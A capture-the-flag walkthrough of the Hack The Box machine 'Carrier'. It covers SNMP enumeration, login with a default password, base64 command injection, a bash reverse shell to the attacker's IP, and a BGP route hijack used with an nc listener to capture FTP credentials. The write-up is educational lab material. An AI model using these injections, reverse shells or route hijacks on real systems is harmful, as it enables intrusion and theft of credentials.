Carrier @ HackTheBoxxct
Carrier is a nice, medium difficulty machine on hackthebox.eu featuring information retrieval via snmp, command injection and bgp hijacking. The bgp hijacking part was a nice learning experience as this is a technique you probably don’t see every day.
We start by scanning the box with nmap and get the following ports:
nmap -Pn -sV -sC -p- -oA tcp_all 10.10.10.105 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA) | 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA) |_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Login
nmap -Pn -sV -sC -sU --top-ports=50 -oA udp50 10.10.10.105 161/udp open snmp SNMPv1 server; pysnmp SNMPv3 server (public) | snmp-info: | enterprise: pysnmp | engineIDFormat: octets | engineIDData: 77656201d7f908 | snmpEngineBoots: 2 |_ snmpEngineTime: 5m30s
A quick snmpwalk (
snmpwalk 10.10.10.105 -c public -v1
) shows just one result, which looks like some sort of serial number:
iso.220.127.116.11.18.104.22.168.1.1.11 = STRING: "SN#NET_45JDX23"
The next thing to look at is the web application on port 80. As trying various default credentials yields no results we start looking for web content and find the following:
wfuzz --hc 404,403 -w ~/tools/SecLists/Discovery/Web-Content/raft-large-words.txt http://carrier.htb/FUZZ 000015: C=301 9 L 28 W 307 Ch "js" 000021: C=301 9 L 28 W 308 Ch "css" 000060: C=301 9 L 28 W 308 Ch "img" 000169: C=301 9 L 28 W 310 Ch "tools" 000353: C=301 9 L 28 W 308 Ch "doc" 000408: C=301 9 L 28 W 310 Ch "fonts" 000688: C=301 9 L 28 W 310 Ch "debug"
Looking at the subdirectories in a web browser shows that they are listable! In “doc” we find a pdf manual of the system, in which it explains the status code we saw on the login page with
45009 - System credentials have not been set. Default admin user password is set (see chassis serial number)
. With this knowledge we go back to the login page and login with
, the password being the serial number we retrieved via snmp earlier:
The “Diagnostics” menu lets us issue a post request to the server with the parameter
After decoding the base64 with
echo -ne "cXVhZ2dh" | base64 -d
we get the string “quagga”. Playing a bit with the parameter we discover that it is possible to inject commands by simply appending them and encoding in base64 again:
echo -ne "quagga; whoami; id" | base64 check=cXVhZ2dhOyB3aG9hbWk7IGlk <p>root</p><p>uid=0(root) gid=0(root) groups=0(root)</p>
To get a shell we use a basic bash one liner, encode and execute it, which leads to shell as root and reveals the user flag:
echo -ne 'quagga; /bin/bash -i >& /dev/tcp/10.10.14.14/5555 0>&1' | base64 cXVhZ2dhOyAvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTQvNTU1NSAwPiYx
Despite being root on the box we do not have any root flag yet so there has to be more to it. Going back to the webapp we can see several tickets which talk about several BGP related things, including this message:
... Still reporting issues with 3 networks: 10.120.15,10.120.16,10.120.17/24's, one of their VIP is having issues connecting by FTP to an important server in the 10.120.15.0/24 network, investigating...
What this is hinting at, is that we have several networks that use bgp to communicate and that there is potential clear text authentication being send over them with ftp. Looking at netstat confirms its bgp, as we have zebra and bgpd running:
tcp 0 0 127.0.0.1:2601 0.0.0.0:* LISTEN 112 7806242 62602/zebra tcp 0 0 127.0.0.1:2605 0.0.0.0:* LISTEN 112 7806244 62606/bgpd tcp 0 0 0.0.0.0:179 0.0.0.0:* LISTEN 112 7805245 62606/bgpd tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 44065 477/sshd tcp6 0 0 :::179 :::* LISTEN 112 7805246 62606/bgpd tcp6 0 0 :::22 :::* LISTEN 0 44070 477/sshd
Now lets look at how zebra is configured in “/etc/quagga/bgpd.conf”:
route-map to-as200 permit 10 route-map to-as300 permit 10 ! router bgp 100 bgp router-id 10.255.255.1 network 10.101.8.0/21 network 10.101.16.0/21 redistribute connected neighbor 10.78.10.2 remote-as 200 neighbor 10.78.11.2 remote-as 300 neighbor 10.78.10.2 route-map to-as200 out neighbor 10.78.11.2 route-map to-as300 out ! line vty !
What we see here is that this machine is configured under the name “100” and is advertising the networks 10.101.8.0/21 and 10.101.16.0/21 as locally connected to its neighbors. In addition we see under which ip addresses we can reach the other routers.
Another important piece of information is in
, where we can see that some of the subnets are passed to “200” and some to “300”:
10.78.10.0/24 dev eth1 proto kernel scope link src 10.78.10.1 10.78.11.0/24 dev eth2 proto kernel scope link src 10.78.11.1 10.99.64.0/24 dev eth0 proto kernel scope link src 10.99.64.2 10.100.10.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.11.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.12.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.13.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.14.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.15.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.16.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.17.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.18.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.19.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.20.0/24 via 10.78.10.2 dev eth1 proto zebra 10.120.10.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.11.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.12.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.13.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.14.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.15.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.16.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.17.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.18.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.19.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.20.0/24 via 10.78.11.2 dev eth2 proto zebra
Having this information, in combination with the message from the webapp, leads to the following plan: Redirect traffic send from “200” to 10.120.15.0/24 in “300” through our router by advertising false routes. This technique is called bgp hijacking, an excellent guide can be found here.
In order to execute the attack we first modify bgpd.conf so that our router is now advertising the 10.120.15.0/25 network as directly connected:
vtysh r1> en r1# conf t r1(config)# router bgp 100 r1(config-router)# network 10.120.15.0/25 r1(config-router)# end r1# wr r1# exit
The reason the target subnet is advertised as /25 instead of /24 is that more specific subnets are given priority in bgp routing. We could redirect the traffic the to original target, but since we are interested in ftp credentials an easy way is to pose as the target by adding its ip to the box we are on and starting a local listener on port 21:
ip a add 10.120.15.10/24 dev eth2 nc -lvp 21
After a moment we get a connection! To emulate a ftp server we have to respond manually with “331 Please specify the password.” to make the client send its authentication:
We can now use the credentials “root:BGPtelc0rout1ng” we obtained to log into the ftp server “10.120.15.10” (after removing the ip from our interface) where we find the root flag:
150 Here comes the directory listing. -r-------- 1 0 0 33 Jul 01 15:58 root.txt -rw------- 1 0 0 33 Dec 27 12:11 secretdata.txt ...
Many thanks to snowscan for creating this fun box.